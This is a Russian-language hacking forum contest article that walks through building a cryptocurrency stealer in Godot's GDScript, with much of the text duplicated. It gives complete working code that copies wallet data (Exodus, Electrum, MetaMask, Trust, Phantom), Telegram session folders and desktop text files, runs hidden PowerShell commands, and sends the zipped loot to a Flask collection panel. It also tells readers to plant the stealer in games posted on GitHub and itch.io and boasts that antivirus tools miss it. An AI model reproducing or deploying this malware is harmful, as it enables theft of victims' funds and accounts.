Автор CognitoInc
Статья написана для Конкурса статей #10
Крипто стиллер на Godot — что-то непонятное, правда? Сейчас я расскажу о том, что это и как я к этому пришел.
Для начала объясню, что такое Godot. Godot — это игровой опенсорс-движок, на котором можно делать как 2D, так и 3D игры. Но это нас не особо интересует, ведь форум немного о другом. Самое интересное, что в этом движке используется свой собственный язык под названием GDScript, который очень даже похож на Питон. Благодаря тому, что язык по факту ноунейм, задетектить подобного рода софт, написанный на нем, будет крайне сложно, что и является основным плюсом данного софта, да и самой идеи написания вирусов на этом языке в целом.
Дело в том, что мне как-то попалась статья о том, что GitHub и игры начал массово заполнять малварь на Godot, и был этот малварь лоадером. Собственно говоря, именно поэтому я решил также попробовать сделать что-то подобное на данном языке. Ведь в публичном доступе ничего подобного в принципе нет, и данный проект своего рода уникален, хоть и сама тема фри-стиллеров уже заезжена вдоль и поперек.
Прочитать одну из новостей о малваре на Godot можно по этой ссылке:
https://xakep.ru/2024/11/29/godloader-godot/
Цель проекта проста: показать, что даже самым необычным способом и на ноунейм языке есть возможность написать малварь и доказать это на практике.
Дело в том, что для расшифровки куки и паролей нужно как минимум получить ключ из DPAPI и AES. А библиотек на GDScript для этого нет, поэтому нужно писать собственную логику с нуля. Учитывая, что это не какой-нибудь там Python (хоть и его брат-близнец), сделать это было бы крайне сложно и заняло бы больше времени, чем длится конкурс. А поучаствовать мне все же захотелось. Несмотря на это, даже с тем функционалом, который будет присутствовать, считаю, что вполне можно работать.
Теперь давайте приступим к работе над самим стиллером. Первое, что потребуется сделать, — это скачать и установить сам Godot.
Скачать его можно с официального сайта или GitHub-репозитория по этой ссылке:
https://github.com/godotengine/godot/releases/download/4.3-stable/Godot_v4.3-stable_win64.exe.zip
После установки Godot сразу же создаем проект, как показано на скриншоте ниже:
После создания проекта первое, что сделаем, — это создадим 2D-сцену, к которой впоследствии прикрепим скрипт самого стиллера.
Сохраняем сцену, чтобы она появилась в файловой системе, используя Ctrl+S.
Создаем и прикрепляем скрипт к главному меню, а затем сохраняем.
В этом окне мы и будем писать всю логику стиллера, так что все, что есть в данном скрипте при его создании, удаляем, не считая первой строки extends Node2D.
В коде сразу же создадим эту функцию:
Данная функция используется для того, чтобы код, указанный в ней, запускался при инициализации сцены. В ней будет указан вызов нашей основной функции, которая будет приводить в действие весь стиллер, но пока что это пропустим и рассмотрим функции, которые будут выполнять основную логику, по отдельности.
Первой на очереди будет функция для сбора холодков и плагинов.
Логика данной функции проста: для начала берем и открываем папку, из которой нужно копировать. Если папки нет, то выводим print с ошибкой.
Затем проходимся по каждому объекту в папке внутри бесконечного цикла.
Проверяем каждый объект на то, является ли он папкой или файлом. Если является файлом, то копируем его во временную папку лога. Если является папкой, то вызывается эта же функция, и в нее передается путь до выбранной папки, и так по кругу, пока все файлы и папки не закончатся.
Возможно, у вас возникнет вопрос: почему же так замудренно? Нельзя ли просто взять всю папку с холодком и скопировать, не прописывая вручную логику для рекурсивного поиска всех файлов и папок?
А вот нельзя. В Godot нет функции, позволяющей сразу же скопировать всю папку с файлами, поэтому приходится вручную искать каждую папку и каждый файл и копировать их по отдельности, повторяя оригинальный порядок путей.
После функции для сбора холодков следуют функции для сбора файлов Telegram и файлов с рабочего стола. Все эти функции практически полностью повторяют функционал показанной выше функции, так что повторяться я смысла не вижу и просто предоставлю вам код.
Сбор Telegram-файлов:
Было принято решение в данной функции собирать только текстовые файлы, ибо в них чаще всего и находятся заметки с паролями и сидами от кошельков. Но если же вам нужны еще какие-либо форматы, то это легко добавить, заменив эту строку:
на эту:
Напоминаю, что все файлы копируются в временную папку лога. В дальнейшем эта временная папка будет запихиваться в архив и отправляться. После этого временная папка будет удаляться, и как раз функцию удаления мы и рассмотрим сейчас.
Суть тут такая же, как и у функций для копирования, и проблема соответственно тоже. То есть нельзя просто так взять и удалить папку со всем содержимым, нужно рекурсивно пройтись по всем файлам и папкам и удалять их по одному, а в конце удалить уже пустую основную папку для временных файлов.
Теперь рассмотрим функции для получения данных о системе и IP-адреса. Для этого будет использоваться вызов PowerShell и отправка в него команд. Метод достаточно простой, но действенный.
Как и было сказано ранее, метод простой: в нем мы просто собираем команду PowerShell для отправки запроса на https://httpbin.org/ip?format=json, затем получаем ответ примерно в таком виде:
Затем берем третью строку в которой как раз и находится ip адрес
Так же поясню за эту строчку:
Она в принципе так же понятна, за исключением последних двух true.
Первый true означает, что нужно дожидаться окончания работы команды.
Второй true означает, что ответ от PowerShell будет записываться.
По такому же принципу работает и команда для получения данных о системе:
Отправляться лог в виде ZIP-архива на сервер будет так же с помощью PowerShell команды. Адрес сервера для отправки указывается сразу в команде PowerShell.
Со всеми функциями сбора данных закончено, теперь рассмотрим функцию, которая будет создавать временную папку, вызывать функции для сбора данных, архивировать собранные данные в ZIP-архив, удалять временную папку и вызывать функцию для отправки архива с логом.
Для начала в функции пропишем все необходимые пути:
Вызываем функции для получения данных о ПК и IP, а затем проверяем возвращенные от этих функций ответы на наличие данных и записываем их, если данные есть.
Вызываем функции для копирования данных холодков, рабочего стола, Telegram, передавая в эти функции путь, откуда копировать, и путь, куда копировать.
Далее следует создание архива, и оно будет реализовано через мой любимый PowerShell.
Затем удаляем временную папку с помощью вызова соответствующей функции и отправляем созданный архив на сервер также с помощью написанной ранее функции.
Функция закончена, и почти весь скрипт тоже. Теперь нужно, чтобы он запускался при запуске игры.
В начале написания кода я уже упоминал такую функцию, как
Создадим ее в начале скрипта и вызовем в ней функцию, которую писали выше.
Таким образом, скрипт будет запускаться сразу при запуске игры.
Раз с клиентом стиллера закончено, можем приступить к написанию сервера, который будет принимать логи и отображать их в веб-панели с возможностью скачивания.
Сервер будет написан на излюбленном мною Flask с использованием SQLite, и первое, что нам понадобится, так это подготовить сам проект. В нем нужно создать несколько папок:
В качестве IDE будет использоваться PyCharm. Открываем через него проект и сразу же создаем виртуальную среду, в которой будут храниться все необходимые библиотеки.
Теперь в самом Python файле укажем все библиотеки, которые будем использовать в дальнейшем.
Инициализируем Flask-приложение и SQLAlchemy для базы данных, а также создаем саму модель таблицы для базы данных.
Теперь создадим функцию, обрабатывающую запросы от Godot стиллера. Как помним, в Godot мы указывали маршрут http://127.0.0.1:5000/data, поэтому и в Python коде маршрут будет /data.
Если данные есть, то конвертируем их из base64 в байты, затем генерируем случайное название для архива archive.zip, сохраняем файл с конвертированными из base64 в байты данными в папку logs.
Также не забываем о базе данных, в которую нужно записать данные о логе. Этот код нужно поместить в try.
Теперь создадим маршрут для страницы, на которой будут отображаться данные логов.
Для передачи данных о логах на страницу мы будем просто считывать все данные из базы данных и передавать их в index.html.
Принцип работы очень прост: при нажатии на кнопку "Скачать" в панели на данный маршрут будет отправляться id лога в базе данных. Затем, в функции будет искаться нужный лог по его id в базе данных. В базе данных у лога есть столбец, в котором указан путь до файла. С помощью функции send_file из Flask будет происходить скачивание лога с использованием найденного пути до него.
На этом весь бекенд завершен, и теперь рассмотрим саму веб-панель. Она максимально проста, в ней мы будем визуализировать таблицу и отображать данные из базы данных, переданные ранее из бэкэнд-функции index на веб-страницу.
Как видно, к странице подключены стили. На них также останавливаться смысла нет, так как сложных стилей там нет, а работу с CSS на данном форуме разбирали уже много раз, и я уверен, что все знают, как с ними работать. Поэтому просто приложу код:
Теперь, когда весь проект написан, можем перейти к просмотру того, как выглядит панель и сам лог нашего Godot-стилера.
Теперь немного можно поговорить о том, как распространять данный стиллер. В начале статьи уже давалась ссылка о том, как подобный софт распространяли, а именно — через GitHub репозитории с играми.
Есть несколько вариантов, как сделать это через GitHub:
Также демку игры можно распространять на сайте для инди-разработчиков itch.io. Поток пользователей на данном сайте достаточно большой, и скачивают и запускают даже самые простые игры, типа змейки, так что вам будет достаточно найти исходники любого 2D проекта, прикрутить скрипт, скомпилировать и загрузить на сайт. Так как малварь написан на GDScript, его не обнаружат, поэтому на данном сайте он может "пролежать" довольно долго. Это также относится и к GitHub.
С методами распространения разобрались, теперь рассмотрим, как наш малварь встроить в рандомную игру. Для примера была взята эта игра — https://github.com/TinyTakinTeller/GodotProjectZero.
После импортирования проекта в Godot, переходим к главной ноде и открываем скрипт игры.
Пихаем в любое место этого скрипта наш малварь, начиная со строки с функцией
После компиляции игры у нас будет два файла. Собственно говоря, просто запускаем exe файл, и в итоге у нас запустится игра и малварь в том числе.
А что же по детектам? А ничего, их просто напросто нет и не будет
Ссылка на VirusTotal - https://www.virustotal.com/gui/file/3704990acd39d295419cf23d64f69be55628022a3a1e442065ffd05594a1e358
Статья написана для Конкурса статей #10
Немного инфы о проекте
Крипто стиллер на Godot — что-то непонятное, правда? Сейчас я расскажу о том, что это и как я к этому пришел.Для начала объясню, что такое Godot. Godot — это игровой опенсорс-движок, на котором можно делать как 2D, так и 3D игры. Но это нас не особо интересует, ведь форум немного о другом. Самое интересное, что в этом движке используется свой собственный язык под названием GDScript, который очень даже похож на Питон. Благодаря тому, что язык по факту ноунейм, задетектить подобного рода софт, написанный на нем, будет крайне сложно, что и является основным плюсом данного софта, да и самой идеи написания вирусов на этом языке в целом.
Как я вообще пришел к мысли о создании малваря на данном языке?
Дело в том, что мне как-то попалась статья о том, что GitHub и игры начал массово заполнять малварь на Godot, и был этот малварь лоадером. Собственно говоря, именно поэтому я решил также попробовать сделать что-то подобное на данном языке. Ведь в публичном доступе ничего подобного в принципе нет, и данный проект своего рода уникален, хоть и сама тема фри-стиллеров уже заезжена вдоль и поперек.Прочитать одну из новостей о малваре на Godot можно по этой ссылке:
https://xakep.ru/2024/11/29/godloader-godot/
В чем цель данного проекта?
Цель проекта проста: показать, что даже самым необычным способом и на ноунейм языке есть возможность написать малварь и доказать это на практике.
Какой функционал будет в этом мутанте?
Стиллер холодных кошельков и плагинов из Edge с криптокошельками.
Граббер рабочего стола.
Граббер Telegram.
Сбор данных о системе и IP.
Отправка логов на сервер через запросы.
Веб-панель.
Граббер рабочего стола.
Граббер Telegram.
Сбор данных о системе и IP.
Отправка логов на сервер через запросы.
Веб-панель.
Почему в этом списке нету стиллера паролей и куки?
Дело в том, что для расшифровки куки и паролей нужно как минимум получить ключ из DPAPI и AES. А библиотек на GDScript для этого нет, поэтому нужно писать собственную логику с нуля. Учитывая, что это не какой-нибудь там Python (хоть и его брат-близнец), сделать это было бы крайне сложно и заняло бы больше времени, чем длится конкурс. А поучаствовать мне все же захотелось. Несмотря на это, даже с тем функционалом, который будет присутствовать, считаю, что вполне можно работать.
Создание и настройка проекта
Теперь давайте приступим к работе над самим стиллером. Первое, что потребуется сделать, — это скачать и установить сам Godot.Скачать его можно с официального сайта или GitHub-репозитория по этой ссылке:
https://github.com/godotengine/godot/releases/download/4.3-stable/Godot_v4.3-stable_win64.exe.zip
После установки Godot сразу же создаем проект, как показано на скриншоте ниже:
После создания проекта первое, что сделаем, — это создадим 2D-сцену, к которой впоследствии прикрепим скрипт самого стиллера.
Сохраняем сцену, чтобы она появилась в файловой системе, используя Ctrl+S.
Создаем и прикрепляем скрипт к главному меню, а затем сохраняем.
В этом окне мы и будем писать всю логику стиллера, так что все, что есть в данном скрипте при его создании, удаляем, не считая первой строки extends Node2D.
Пишем код клиента на Godot
В коде сразу же создадим эту функцию:func _enter_tree():Данная функция используется для того, чтобы код, указанный в ней, запускался при инициализации сцены. В ней будет указан вызов нашей основной функции, которая будет приводить в действие весь стиллер, но пока что это пропустим и рассмотрим функции, которые будут выполнять основную логику, по отдельности.
Сбор крипты
Первой на очереди будет функция для сбора холодков и плагинов.
Python:
func copy_folder_content(source_path: String, destination_path: String):
# Открываем папку из которой нужно скопировать
var source_dir = DirAccess.open(source_path)
# Если папки нет
if source_dir == null:
print("Папка не найдена: " + source_path)
return
# Открывает текущую директорию
var dest_dir = DirAccess.open(".")
# Создает папки по пути destination_path (во временной папке лога)
dest_dir.make_dir_recursive(destination_path)
# Перечисляет все файлы и папки по пути source_dir
source_dir.list_dir_begin()
while true: # Бесконечный цикл
# Получаем имя следующей папки или файла в директории из которой нужно копировать
var file = source_dir.get_next()
# Если название папки пустое, значит папки кончились и заканчивается цикл
if file == "":
break
# Сборка полного пути до файла
var source_file_path = source_path + "/" + file
# Сборка полного пути куда копировать
var destination_file_path = destination_path + "/" + file
# Проверяет, является ли текущий элемент файлом или папкой
if source_dir.current_is_dir():
# Если папка, то вызывать функцию для копирования файлов передавая туда полный путь до папки source_file_path
copy_folder_content(source_file_path, destination_file_path)
else:
# Если элемент это файл а не папка то тогда копируем файл и вставляем его во временную папку лога по пути destination_file_path
var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
if file_reader and file_writer:
file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
# Закрываем файл откуда копирует и файл куда копирует
file_reader.close()
file_writer.close()
Затем проходимся по каждому объекту в папке внутри бесконечного цикла.
Проверяем каждый объект на то, является ли он папкой или файлом. Если является файлом, то копируем его во временную папку лога. Если является папкой, то вызывается эта же функция, и в нее передается путь до выбранной папки, и так по кругу, пока все файлы и папки не закончатся.
Возможно, у вас возникнет вопрос: почему же так замудренно? Нельзя ли просто взять всю папку с холодком и скопировать, не прописывая вручную логику для рекурсивного поиска всех файлов и папок?
А вот нельзя. В Godot нет функции, позволяющей сразу же скопировать всю папку с файлами, поэтому приходится вручную искать каждую папку и каждый файл и копировать их по отдельности, повторяя оригинальный порядок путей.
Сбор Telegram
После функции для сбора холодков следуют функции для сбора файлов Telegram и файлов с рабочего стола. Все эти функции практически полностью повторяют функционал показанной выше функции, так что повторяться я смысла не вижу и просто предоставлю вам код.Сбор Telegram-файлов:
Python:
func copy_telegram_tdata_content(source_path: String, destination_path: String):
# Папки которые не надо копировать
var excluded_folders = ["dumps", "emoji", "temp", "user_data"]
# Открываем папку откуда копировать
var source_dir = DirAccess.open(source_path)
# Если папки нету
if source_dir == null:
print("Папка не найдена: " + source_path)
return
var dest_dir = DirAccess.open(".")
dest_dir.make_dir_recursive(destination_path)
source_dir.list_dir_begin()
while true:
var file = source_dir.get_next()
# Если название папки пустое, значит папки кончились и заканчивается цикл
if file == "":
break
# Если название папки есть в списке папок исключений
if file in excluded_folders:
continue # Пропускаем исключаемые папки
# Сборка полного пути до файла
var source_file_path = source_path + "/" + file
# Сборка полного пути куда копировать
var destination_file_path = destination_path + "/" + file
if source_dir.current_is_dir():
# Если папка, то вызывать функцию для копирования файлов передавая туда полный путь до папки source_file_path
copy_telegram_tdata_content(source_file_path, destination_file_path)
else:
# Если элемент это файл а не папка то тогда копируем файл и вставляем его во временную папку лога по пути destination_file_path
var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
if file_reader and file_writer:
file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
# Закрываем файл откуда копирует и файл куда копирует
file_reader.close()
file_writer.close()
Сбор файлов с рабочего стола
Python:
func copy_text_files_from_desktop(desktop_path: String, destination_path: String):
# Открываем папку откуда копировать
var source_dir = DirAccess.open(desktop_path)
# Если папки нету
if source_dir == null:
print("Папка не найдена: " + desktop_path)
return
var dest_dir = DirAccess.open(".")
dest_dir.make_dir_recursive(destination_path)
source_dir.list_dir_begin()
while true:
var file = source_dir.get_next()
# Если название папки пустое, значит папки кончились и заканчивается цикл
if file == "":
break
var source_file_path = desktop_path + "/" + file
var destination_file_path = destination_path + "/" + file
# Проверка, если это текстовый файл то копируем в временную папку лога
if file.ends_with(".txt"):
var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
if file_reader and file_writer:
file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
# Закрываем файл откуда копирует и файл куда копирует
file_reader.close()
file_writer.close()
if file.ends_with(".txt"):на эту:
if file.ends_with(".txt") or file.ends_with(".log") or file.ends_with(".csv"):Напоминаю, что все файлы копируются в временную папку лога. В дальнейшем эта временная папка будет запихиваться в архив и отправляться. После этого временная папка будет удаляться, и как раз функцию удаления мы и рассмотрим сейчас.
Удаление временной папки лога
Python:
func delete_folder(folder_path: String):
# Открывает временную папку лога
var dir = DirAccess.open(folder_path)
# Если директория не пуста
if dir != null:
# Перечисляет все папки и файлы внутри
dir.list_dir_begin()
# Получаем имя следующей папки или файла
var file = dir.get_next()
# Бесконечный цикл
while true:
# Если название папки пустое, значит папки кончились и заканчивается цикл
if file == "":
break
# Собираем полный путь до элемента
var path = folder_path + "/" + file
# Если элемент это папка,то вызываем эту же функцию удаления чтобы пробежаться рекурсивно по ней и все удалить
if dir.current_is_dir():
delete_folder(path) # Рекурсивно удаляем вложенные папки
else:
# Если элемент это файл, то удаляем
var file_remover = FileAccess.open(path, FileAccess.WRITE)
if file_remover:
file_remover.close()
DirAccess.open(".").remove(path) # Удаляем файл
file = dir.get_next()
dir.remove(folder_path) # Удаляем саму папку
Теперь рассмотрим функции для получения данных о системе и IP-адреса. Для этого будет использоваться вызов PowerShell и отправка в него команд. Метод достаточно простой, но действенный.
Получение IP
Python:
func fetch_ip_address() -> String:
var commands = [
"-WindowStyle",
"Hidden", # Скрывает консольное окно
"-Command",
"Invoke-RestMethod -Uri 'https://httpbin.org/ip?format=json'"
]
# Массивы для вывода
var output = []
# Выполнение PowerShell c передачей в нее команды
var exit_code = OS.execute("powershell", commands, output, true, true)
# Обработка результата
if exit_code == 0:
# Склеиваем строки в одну строку
var output_str = ""
for line in output:
output_str += line.strip_edges() + "\n"
# Попробуем найти IP в выводе
var lines = output_str.split("\n")
if lines.size() >= 3:
var ip = lines[2].strip_edges()
return ip
else:
print("Не удалось найти IP в ответе")
# Возвращаем пустую строку
return ""
Как и было сказано ранее, метод простой: в нем мы просто собираем команду PowerShell для отправки запроса на https://httpbin.org/ip?format=json, затем получаем ответ примерно в таком виде:
origin------213.108.23.243Затем берем третью строку в которой как раз и находится ip адрес
Так же поясню за эту строчку:
var exit_code = OS.execute("powershell", commands, output, true, true)Она в принципе так же понятна, за исключением последних двух true.
Первый true означает, что нужно дожидаться окончания работы команды.
Второй true означает, что ответ от PowerShell будет записываться.
Получение данных системы
По такому же принципу работает и команда для получения данных о системе:
Python:
func fetch_system_info() -> Dictionary:
var commands = [
"-WindowStyle",
"Hidden",
"-Command",
"\"Get-CimInstance Win32_Processor | Select-Object -ExpandProperty Name; " +
"Get-CimInstance Win32_Processor | Select-Object -ExpandProperty NumberOfCores; " +
"Get-CimInstance Win32_Processor | Select-Object -ExpandProperty NumberOfLogicalProcessors; " +
"[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)\""
]
# Массивы для вывода и ошибок
var output = []
var exit_code = OS.execute("powershell", commands, output, true, true)
# Если выполнилось удачно
if exit_code == 0:
# Разделяем ответ на строки
var lines = "".join(output).strip_edges().split("\n")
return {
# Берем данные из строк и записываем в ключи и возвращаем их
"processor_name": lines[0].strip_edges(),
"cores": lines[1].strip_edges(),
"logical_processors": lines[2].strip_edges(),
"ram": lines[3].strip_edges() + " GB"
}
# Если команда не выполнилась, возвращаем пустой объект
return {}
Отправка лога на сервер
Отправляться лог в виде ZIP-архива на сервер будет так же с помощью PowerShell команды. Адрес сервера для отправки указывается сразу в команде PowerShell.
Python:
func send_file_to_flask(output_archive: String):
var command_str = """
$filePath = '""" + output_archive + """'
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$base64String = [Convert]::ToBase64String($fileBytes)
$uri = 'http://127.0.0.1:5000/data'
$body = @{
text = $base64String
}
Invoke-RestMethod -Uri $uri -Method POST -ContentType 'application/json' -Body ($body | ConvertTo-Json)
"""
var commands = [
"-WindowStyle",
"Hidden",
"-Command",
command_str
]
var output = []
var exit_code = OS.execute("powershell", commands, output, true, true)
if exit_code == 0:
print("Файл отправлен")
print("Ответ: ", "".join(output).strip_edges())
else:
print("Ошибка при отправке: ", exit_code)
print("Ответ: ", "".join(output).strip_edges())
Основная функция для запуска стиллера
Со всеми функциями сбора данных закончено, теперь рассмотрим функцию, которая будет создавать временную папку, вызывать функции для сбора данных, архивировать собранные данные в ZIP-архив, удалять временную папку и вызывать функцию для отправки архива с логом.
Пути до папок для сбора данных и куда сохранять эти данные
Для начала в функции пропишем все необходимые пути:
Python:
func create_combined_archive():
# Пути к папкам которые нужно копировать
var appdata_path = OS.get_environment("APPDATA")
var localappdata_path = OS.get_environment("USERPROFILE") + "/AppData/Local"
var exodus_path = appdata_path + "/Exodus/exodus.wallet"
var electrum_path = appdata_path + "/Electrum/wallets"
var metamask_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"
var trust_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/egjidjbpglichdcondbcbdnbeeppgdph"
var phantom_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"
var telegram_path = appdata_path + "/Telegram Desktop/tdata" # Путь до tdata
var desktop_path = OS.get_environment("USERPROFILE") + "/Desktop" # Путь для копирования файлов с рабочего стола
# Путь для временной папки и архива
var temp_path = OS.get_environment("USERPROFILE") + "/AppData"
# Временная папка лога
var temp_folder = temp_path + "/log_temp"
# Путь до архива
var output_archive = temp_path + "/log.zip"
# Путь куда сохранять инфу о системе
var info_file_path = temp_folder + "/Info.txt"
Затем создаем временную папку
var temp_dir = DirAccess.open(temp_folder)
if temp_dir == null:
temp_dir = DirAccess.open(".")
temp_dir.make_dir_recursive(temp_folder)
Вызов функции для сбора данных о пк и ip
Вызываем функции для получения данных о ПК и IP, а затем проверяем возвращенные от этих функций ответы на наличие данных и записываем их, если данные есть.
Python:
# Вызов функции для получения ip адреса
var ip = fetch_ip_address()
# Вызов функции для получения информации о системе
var system_info = fetch_system_info()
# Открываем файл для информации о пк
# FileAccess.open открывает файл или создает его если файла нет
var info_file = FileAccess.open(info_file_path, FileAccess.WRITE)
# Если IP непустая строка
if ip != "":
info_file.store_string("IP-адрес: " + ip + "\n")
else:
info_file.store_string("IP-адрес: Не удалось определить\n")
# Если размер полученных данных по размеру больше 0
if system_info.size() > 0:
# Берутся ключи из ответа от функции fetch_system_info() и записываются в файл с помощью метода store_string
info_file.store_string("Информация о системе:\n")
info_file.store_string("Процессор: " + system_info["processor_name"] + "\n")
info_file.store_string("Ядра: " + system_info["cores"] + "\n")
info_file.store_string("Потоки: " + system_info["logical_processors"] + "\n")
info_file.store_string("ОЗУ: " + system_info["ram"] + "\n")
else:
info_file.store_string("Информация о системе: Не удалось получить данные\n")
info_file.close()
Вызов функции для копирования файлов холодков и прочего
Вызываем функции для копирования данных холодков, рабочего стола, Telegram, передавая в эти функции путь, откуда копировать, и путь, куда копировать.
Python:
copy_folder_content(exodus_path, temp_folder + "/CryptoWallets/Exodus")
copy_folder_content(electrum_path, temp_folder + "/CryptoWallets/Electrum")
copy_folder_content(metamask_path, temp_folder + "/CryptoWallets/Metamask")
copy_folder_content(trust_path, temp_folder + "/CryptoWallets/Trust")
copy_folder_content(phantom_path, temp_folder + "/CryptoWallets/Phantom")
copy_telegram_tdata_content(telegram_path, temp_folder + "/Telegram")
# Копируем текстовые файлы с рабочего стола
copy_text_files_from_desktop(desktop_path, temp_folder + "/Desktop")
Создание архива
Далее следует создание архива, и оно будет реализовано через мой любимый PowerShell.
Python:
var result = OS.execute("powershell", [
"-Command",
"Compress-Archive",
"-Path",
'"' + temp_folder.replace("/", "\\") + "\\*" + '"',
"-DestinationPath",
'"' + output_archive.replace("/", "\\") + '"'
], [])
Вызов функции для удаления временной папки
Затем удаляем временную папку с помощью вызова соответствующей функции и отправляем созданный архив на сервер также с помощью написанной ранее функции.
Python:
# Удаляем временную папку с помощью функции delete_folder
delete_folder(temp_folder)
if result == 0:
print("Архив успешно создан: " + output_archive)
send_file_to_flask(output_archive)
else:
print("Ошибка при создании архива.")
Функция для запуска всей логики при запуске игры
В начале написания кода я уже упоминал такую функцию, как func _enter_tree():, и именно она сейчас и понадобится.Создадим ее в начале скрипта и вызовем в ней функцию, которую писали выше.
Python:
func _enter_tree():
print("Запуск...")
create_combined_archive()
Пишем код сервера на Python
Раз с клиентом стиллера закончено, можем приступить к написанию сервера, который будет принимать логи и отображать их в веб-панели с возможностью скачивания.
Подготовка проекта
Сервер будет написан на излюбленном мною Flask с использованием SQLite, и первое, что нам понадобится, так это подготовить сам проект. В нем нужно создать несколько папок:- logs для хранения архивов с логами
- static для стилей веб-панели
- templates для хранения HTML файлов панели
В качестве IDE будет использоваться PyCharm. Открываем через него проект и сразу же создаем виртуальную среду, в которой будут храниться все необходимые библиотеки.
Необходимые библиотеки
Теперь в самом Python файле укажем все библиотеки, которые будем использовать в дальнейшем.
Python:
import os
import base64
import random
import string
from datetime import datetime
from flask_sqlalchemy import SQLAlchemy
from flask import Flask, request, render_template, send_file
Инициализация Flask и SQLAlchemy
Инициализируем Flask-приложение и SQLAlchemy для базы данных, а также создаем саму модель таблицы для базы данных.
Python:
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///archives.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
# Инициализация SQLAlchemy
db = SQLAlchemy(app)
# Модель для таблицы логов
class Archive(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(100), nullable=False)
created_at = db.Column(db.String(20), nullable=False)
file_path = db.Column(db.String(255), nullable=False)
def __repr__(self):
return f'<Archive {self.filename}>'
Создаем папку для хранения логов если ее еще нет
Python:
LOGS_FOLDER = 'logs'
if not os.path.exists(LOGS_FOLDER):
os.makedirs(LOGS_FOLDER)
Обработка запросов
Теперь создадим функцию, обрабатывающую запросы от Godot стиллера. Как помним, в Godot мы указывали маршрут http://127.0.0.1:5000/data, поэтому и в Python коде маршрут будет /data.
Python:
@app.route('/data', methods=['POST'])
def receive_data():
data = request.json # Получаем данные из JSON-запроса
if not data or 'text' not in data:
return "Ошибка при получении данных лога", 400
Если данные есть, то конвертируем их из base64 в байты, затем генерируем случайное название для архива archive.zip, сохраняем файл с конвертированными из base64 в байты данными в папку logs.
Python:
# Извлекаем строку Base64
base64_string = data['text']
try:
# Декодируем строку Base64 в байты
file_bytes = base64.b64decode(base64_string)
# Генерируем случайное имя для архива
random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + '.zip'
file_path = os.path.join(LOGS_FOLDER, random_filename)
# Сохраняем файл на диск
with open(file_path, 'wb') as file:
file.write(file_bytes)
return "Лог успешно получен сервером", 200
except Exception as e:
return f"Ошибка: {str(e)}", 500
Также не забываем о базе данных, в которую нужно записать данные о логе. Этот код нужно поместить в try.
Python:
created_at = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
new_archive = Archive(
filename=random_filename,
created_at=created_at,
file_path=file_path
)
db.session.add(new_archive)
db.session.commit()
Передача данных о логах в веб панель
Теперь создадим маршрут для страницы, на которой будут отображаться данные логов.
Python:
@app.route('/')
def index():
archives = Archive.query.all()
return render_template('index.html', archives=archives)
Функция для скачивания логов
Также в панели будет возможность скачивать логи, поэтому для этого сразу же напишем еще один маршрут, который в дальнейшем будет вызываться при нажатии на кнопку в панели.
Python:
@app.route('/download/<int:archive_id>')
def download(archive_id):
# Получаем архив по ID
archive = Archive.query.get_or_404(archive_id)
# Отправляем файл на скачивание
return send_file(archive.file_path, as_attachment=True)
Веб панель
На этом весь бекенд завершен, и теперь рассмотрим саму веб-панель. Она максимально проста, в ней мы будем визуализировать таблицу и отображать данные из базы данных, переданные ранее из бэкэнд-функции index на веб-страницу.
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Логи</title>
<!-- Подключаем CSS -->
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
<h1>GDSteel.inc</h1>
<table>
<thead>
<tr>
<th>ID</th>
<th>Имя файла</th>
<th>Дата</th>
<th>Скачать</th>
</tr>
</thead>
<tbody>
{% for archive in archives %}
<tr>
<td>{{ archive.id }}</td>
<td>{{ archive.filename }}</td>
<td>{{ archive.created_at }}</td>
<td>
<a href="{{ url_for('download', archive_id=archive.id) }}">
<button>Скачать</button>
</a>
</td>
</tr>
{% endfor %}
</tbody>
</table>
</body>
</html>
Как видно, к странице подключены стили. На них также останавливаться смысла нет, так как сложных стилей там нет, а работу с CSS на данном форуме разбирали уже много раз, и я уверен, что все знают, как с ними работать. Поэтому просто приложу код:
CSS:
/* Основные стили для страницы */
body {
font-family: 'Roboto', sans-serif;
background-color: #1e1e1e;
margin: 0;
padding: 20px;
color: #e0e0e0;
}
h1 {
text-align: center;
color: #e0e0e0;
font-size: 2.5em;
margin-bottom: 20px;
}
/* Стили для таблицы */
table {
width: 100%;
margin-top: 20px;
border-collapse: collapse;
background-color: #2d2d2d;
}
th, td {
padding: 10px;
text-align: left;
border: 1px solid #575757;
}
th {
background-color: #3e3e3e;
color: #d5d5d5;
font-weight: bold;
}
tr:nth-child(even) {
background-color: #333;
}
tr:hover {
background-color: #4c4c4c;
}
/* Стили для кнопки скачивания */
button {
background-color: #5eaf00;
color: white;
padding: 8px 16px;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 1em;
transition: background-color 0.3s ease, transform 0.2s ease;
}
button:hover {
background-color: #4d9e00;
}
button:active {
background-color: #4b8b00;
transform: scale(0.98);
}
button:focus {
outline: none;
}
Теперь, когда весь проект написан, можем перейти к просмотру того, как выглядит панель и сам лог нашего Godot-стилера.
Методы распространения
Теперь немного можно поговорить о том, как распространять данный стиллер. В начале статьи уже давалась ссылка о том, как подобный софт распространяли, а именно — через GitHub репозитории с играми.
GitHub
